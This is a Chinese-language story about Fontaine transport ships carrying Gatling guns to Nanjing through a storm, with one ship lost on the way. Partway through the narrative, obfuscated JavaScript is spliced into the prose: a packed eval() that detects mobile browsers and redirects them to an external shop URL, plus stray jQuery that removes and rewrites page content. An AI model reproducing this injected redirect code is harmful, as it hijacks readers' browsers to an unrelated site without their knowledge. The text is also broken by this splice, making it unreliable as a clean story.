枫丹港的晨雾在日出后仍未完全散去。港口泊位上停着三艘运输船，船身吃水很深，甲板上堆满了木箱，箱体侧面的铁质铭牌上印着统一的标识——齿轮与天平交叉的图案，是枫丹军械总局的标记。每只木箱长约两米，宽一米有余，内部固定着一台“正义的齿轮”手动旋转加特林机关枪，配有备用枪管和供弹箱。它们是战争爆发以来枫丹第七次向东方战场运送的军事物资，也是数量最多的一次。
船队原计划由四艘运输船组成，其中一艘在出港前夜被发现船底有一道裂缝，正在船坞中紧急修补，无法与其他三艘同时启航。剩下的三艘船在码头完成补给后，解缆起航，驶出港口，转向东南方向，沿着海岸线向南航行。
船队离岸后，航行节奏平稳。船只之间保持着大约一里左右的间距，船员轮流值班，机械师每隔数个时辰就会检查一次舱内的固定绳索是否松动。货物舱内，那些木箱被固定在舱底的金属底座上，绳索交叉捆绑，箱体与舱壁之间卡着木楔。船长站在舰桥上，手中摊开一幅海图，海图上标注着已知的航线、水深和暗礁位置，以及沿岸可以避风的港湾和浅滩区域。船队在开阔水域保持稳定的航速航行，每隔数日就抵达一个允许补给的中转站，在午前完成燃料装载后继续前进。
航行期间，船队没有遇到重大阻碍。他们驶过了一处浅滩，绕过了一片被标注为“前方有障碍物”的区域，在相邻港口完成了一次额外的检查。在即将进入南海的海域时，船只开始轻微地摇晃，船头与来向的波浪碰撞后产生的震动穿过船体，经由甲板传递到舱壁上，以固定间隔的节奏重复着。船长站在舰桥外侧，望了一眼远处海面上正在变暗的颜色，又看了一眼气压表上的读数——数值正在缓慢下降，下降的幅度不大，但足够引起注意。
他回到舰桥内，对舵手说：“偏南方向，保持航向，不要贸然北转。”舵手调整了舵轮角度，船身略微偏转，船首切向波浪的侧面，船身的摇晃幅度也随之有所减小。海面上的颜色变化正在进行时，从浅灰开始逐步过渡到深灰色，与远处云层底部的色调趋于一致。波浪的间隔正在缩短，风速也在缓慢上升，风力已经增强到了可以影响船只操控的程度。船首撞击水面的声音持续不断，维持着固定的频率，但每一次撞击都比前一次更加清晰。
到了傍晚，风暴的规模已经超出了船队最初的预判。风力在较短时间内逐渐增强，海浪的波高也在持续上升，从船头掠过时带起一片细碎的水雾，在甲板上形成一层薄薄的湿痕。海水开始漫过船首，形成持续的漫灌。舵手正在努力保持航向，但船身已经出现了明显的侧倾，船体在巨浪之间的间隔中缓慢复位。一名水手在甲板上固定货物时被船身甩动带离了原来的位置，身体滑向船舷方向。他抓住了甲板边缘的一根立柱，身体撞击在立柱上，发出了碰撞声。周围的人跑向他，将他扶起拖回了舱口。
第二艘船在傍晚时分遭遇了一次较大的波浪冲击，船体侧倾幅度超过了预期角度，船身向一侧倾斜。舱内固定货物的绳索在冲击中松动，一只木箱在舱内滑动了一段距离。工作人员从舱口下来检查时，发现绳索已经部分断裂，需要重新收紧固定。他们从舱壁取来新的绳索，重新加固了那只木箱，并检查了附近的其他箱体。风势在入夜后进一步增强。船舱顶部的木质舱盖在冲击中开裂，海水沿着缝隙向下渗漏，在舱底形成了一层浅水，在船体晃动时来回滑动着，发出低沉的流动声。水手们一边用桶将积水舀出，一边在舱盖上方铺设防雨布，并用绳索将其固定在舱盖四周的金属环扣上。
第三艘船的情况更加严峻。它的位置偏离了预定航线，被洋流带向了一片更加开阔的水域，船尾在海浪的连续拍打中失去了部分方向控制，舵效下降，船头与波浪之间产生了一次长时间的偏转。整艘船在偏转期间顺着波浪的推力横向移动了一段距离，然后才由舵手重新稳定住航向。横移过程中，甲板上的部分货物被水卷入了海里，包括几只尚未被固定在船体结构上的配件箱。
货物舱内的问题也在持续显现。第一艘船在加固完毕后继续航行，但再次检查时发现部分绳索在持续的震动中出现了磨损，需要重新连接。第二艘船的舱内积水已经开始增多，虽然船底尚未破损，但水位的上升速度正在加快，船体的吃水深度也在随之缓慢增加。水手们轮流下舱排水，在船体侧倾和船头上下颠簸的双重影响下，机械师的维修动作比平时慢了近一倍。第三艘船的部分货物舱已经无法保持完全密封，水通过受损的舱门边缘和开裂的甲板缝隙持续渗入，浸湿了部分货物箱的底部，导致箱内防潮层开始剥落，露出内层的金属表面。暴雨进一步增大了航行难度，海水持续向货舱渗透，积水层已经深及脚踝。
夜里，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743267|206303||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
第三艘船在航行中遇到了一次剧烈的晃动，船身侧倾幅度超出了此前所有的测量值，导致舱内一只固定的木箱因受力方向的变化而完全脱离固定点，撞击了舱壁，造成了多只木箱外壳变形和脱落。附近的固定绳索也相继断裂，使更多的货物失去了约束，开始在舱内滑动，形成连锁破坏。水手们下到货舱尝试重新固定那些货物时，发现有一只木箱已经严重破损，内部齿轮组件和枪管暴露在外，表面附着机油和锈迹。工作人员将其移至一侧，集中整理其余未受损的木箱。转移过程中，船身再次大幅度倾斜，几只完好的木箱沿着舱底滑向另一侧，撞击在舱壁上，冲击力导致部分木箱外板开裂，内部的金属部件散落在舱底。与此同时，船体中部的一处焊缝出现细小裂纹，开始缓慢渗水。
天亮之后，船队继续调整航向，逐步脱离风暴区域，驶向气压较平稳的海区。第一艘船和第二艘船在残存的波浪中恢复了基本航速，受损程度正在逐步被确认和记录。第三艘船被发现在夜间偏离了预定航线，与船队失去联系，海面上没有发现它的踪影，也没有收到它发出的任何信号，不知道它是否已经沉没，还是正在某处漂流等待救援。船队没有改变航向，继续按原定路线向南行驶，没有返回寻找。
抵达南京港时，船队的实际装载量与启航时相比已经减少了约一半。风暴造成的损失被呈报至枫丹军械总局的档案记录中，内容包括运输船数量、装载物资种类和数量、航行途中遭遇的天气情况以及因天气原因造成的物资损毁和人员伤亡情况。这些记录被分类整理后与当前前线的实际部署数据比对，再由军械总局的通信人员通过加密电报发回后方，汇总至战争物资协调办公室的统计档案中。其中也记录了部分船只因风暴延误而未能按时抵达的情况，以及一位船员在试图固定货物时落水失踪、最终未能被救起的经过。
这些加特林机关枪被陆续运上城墙。当它们被架设在南京城墙东侧转角处时，天气已经转晴，江面上只有轻微的波浪。炮架上没有安装弹药箱，底座被临时固定在垛口下方的砖面上。士兵们正在搬运子弹箱。城墙下方，岸边还有几段被水浸过的绳索没有被收起，半浸在浅水中，在船身与码头之间随水流轻轻摆动。远处的江面上，一艘小型货船的轮廓从港口外沿逐渐靠近，船头挂着枫丹的旗帜，在航速缓慢的状态下沿主航道向码头方向移动。